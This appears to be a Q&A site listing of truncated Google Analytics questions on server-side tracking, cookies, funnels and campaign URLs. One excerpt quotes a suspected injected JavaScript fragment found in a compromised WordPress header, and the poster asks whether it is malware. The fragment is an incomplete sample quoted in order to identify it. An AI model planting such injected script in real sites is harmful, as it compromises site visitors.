google-analytics

Using Google Analytics on an image

Basically I want to run the Google Analytics on the server and not show the 1px .GIF (the reason for this is that I want to display an image without it being in HTML but as a Content-type: image/jpeg $GA_ACCOUNT = "MO-3845491-5"; $GA_PIXEL = "ga.php"; function googleAnalyticsGetImageUrl() { global $GA_ACCOUNT, $...

How to use Google Analytics or google API to access user location and store into database

I want to track my site visitors and i think google analytics is fulfill my requirement but i want to access complete google analytics from my server how's this possible. ...

Tracking Anchor Links in Goal Funnels

On my site I have a form that spans 2 steps each step 1 posts back to the same page and loads the second part of the form. The only difference between step 1 and step 2 in terms of URL is an anchor text in the url e.g. STEP 1 : www.mysite.com/enquiry/ STEP 2 : www.mysite.com/enquiry/#message is it possible to track these in goal funnn...

Read domain's cookie from subdomain with Rails

Hi, In order to store some Google Analytics data, I would like to access to GA "__utmz" domain's cookie (domain=.example.com) from my www subdomain (domain=www.example.com). Is it possible to read this domain's cookie from a subdomain ? If yes, how can I do that with Rails ? cookies[:__utmz] doesn't seem to work with all browsers. I k...

Generating links for Google Analytics and Omniture

I am trying to build URLs for Google Analytics and Omniture. GA is simple enough, and those URLs can be built using http://www.google.com/support/analytics/bin/answer.py?hl=en&answer=55578 Campaign Source: * (referrer: google, citysearch, newsletter4) Campaign Medium: * (marketing medium: cpc, banner, email) Campaign Term: (i...

Implementing Google Analytics in Asp.net mvc

I want to integrate Google analytics in my asp.net mvc application. So im doing some R&D for it to find out which one is the better. I find out a Google Analytic Dashboard Controls which are available at http://gadashboardcontrols.codeplex.com/ But they are server control and im not sure how to implement in asp.net mvc. Secondly can...

What is this? Google analytics cookie or malware?

I have a WordPress installation that has been targeted quite heavily by a phishing operation. I thought I had the security mostly covered except I found this in the header: var a=document.cookie;document.cookie="hop="+escape("hop")+";path=/";var b=navigator.appVersion,c=" "+document.cookie,d=null,e=0,f=0;if(c.length>0){e=c.indexOf(" ho...

Google Analytics from a file:// url

We have an ajaxy sort of html based app framework thing and want google analytics to work with it. And I believe we have set things up properly to manually call _trackPageview where needed. However things don't seem to be getting reported. Now either I don't have it working right, or GA tracking from javascript with a file:// protocol...

Query on google analytics

can someone to some resources for google analytics.i.e,where it can be used what all it can track..Also what does the following code does <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analyt...

Google Analytics - Is there an paid service/support by Google for Analytics?

We are currently using Google Analytics in our website. But we have found some issues for larger date range. So we would like to know if there is any paid support/service from Google for Analytics. If there are any, please let me know. Thanks. ...

How Does Google Analytics Track Incoming Traffic

I was interested in writing some home-brew analytic solutions and all the click tracking so far is really easy, however I was curious how GA gets the data showing how a user got to your site. Also as a followup I was wondering if it was possible to either write this functionality myself? ...

Best practices to store Google Analytics data in database

Hi All, We are working on a website where Google Analytics data matters us a lot. We have already registered with Google analytics & we are getting the result. We are also using Google API for .net to access analytics data on our site. We have decided to store Google analytics data in our database for our further reference, as we are n...

google analytics regular expression advanced segment

I have a page that displays details of a program, I want to set an advanced segment in google analytics to only return pages that contain /program/view/path_to_program so only program detail pages display, the third segment pages are the only pages I want to display in the google analytics results. I know this will take some sort of ...

merging stats for domain.com/ and domain.com/index.php in Google Analytics

I'm using Google Analytics now and it has the annoying feature of considering domain.com/ and domain.com/index.php different items. Is there a filter setting where I can instruct GA to merge the stats for these two items into one? It's stupid to have 20% of the homepage traffic showing up as /index.php rather than on the root. Thank yo...

track download with asynchronous google tracking doesn't load google's gif

Hey I tracking a download of a pdf with this code: _gaq.push(['_trackPageview', trackLink]); When I check the net console (firebug), it tries to load the google gif for tracking, but doesn't get loaded, see screendump here: http://screencast.com/t/MWVkZTU0OD If I copy the url for the tracker and call it directly in the browser, i...

Javascript Overlay/Dialog Tracking with Google Analytics

Using javascript (jQuery to be precise in my case) I need to enable a dialog box to be tracked in Google Analytics as a unique page view, despite it being only a modal overlay. For context purposes I dont want the user leaving the page and the dialog content is loaded in via an ajax call. ...

using _gaq asynch in closures

When using var _gaq = _gaq || []; within a script tag what would be needed to support this in a closure to add analytics async requests. i.e. experiment = (function(){ var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXX-X']); _gaq.push(['_trackPageview']); var nobody_knows_this_var_...

A/B test with Google Web optimizer; what cookie tells me visitor got A or B

When using Google Website Optimizer A/B split test, is there a way I can read a cookie to see which version A or B did the user get? I need to know this from a page other than the control page. ...

Android, Google Analitics: how to implement page view tracking on "/quit" application exit?

I need to track my Android application exit as a page view. My application has several activities, but there is no hierarchy, so there is not an unique exit point. My understanding is that "application exit" means another application is on top of mine, hiding it completely. So if my application is no more visible, there is an "applicati...

Custom Google Analytics attribute on Facebook

Hi all, I'm trying to keep track of some custom behaviour on our Facebook Canvas App. I need to send custom variables to Google Analytics but the fb:google-analytics tag is too limited. Do you know a way of working around this? I'm tracking the normal page view but I also need to track Ajax calls and custom variables. Thanks, Diogo ...